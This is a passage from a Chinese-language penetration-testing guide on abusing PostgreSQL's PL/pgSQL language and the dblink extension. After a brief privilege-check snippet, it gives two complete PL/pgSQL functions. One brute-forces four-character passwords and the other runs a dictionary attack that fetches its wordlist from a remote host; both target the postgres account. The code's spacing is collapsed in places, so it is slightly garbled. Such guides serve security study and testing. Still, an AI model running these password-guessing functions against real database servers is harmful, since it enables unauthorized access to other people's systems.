REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
在这种情况下,我们之前的查询将输出不同的结果:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
注意,以下脚本要正常工作需要存在函数 dblink。如果不存在,您可以尝试通过
CREATE EXTENSION dblink;
密码暴力破解
这里是如何执行一个4个字符的密码暴力破解:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
注意,即使是暴力破解4个字符也可能需要几分钟。
你也可以下载一个字典并仅尝试那些密码(字典攻击):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');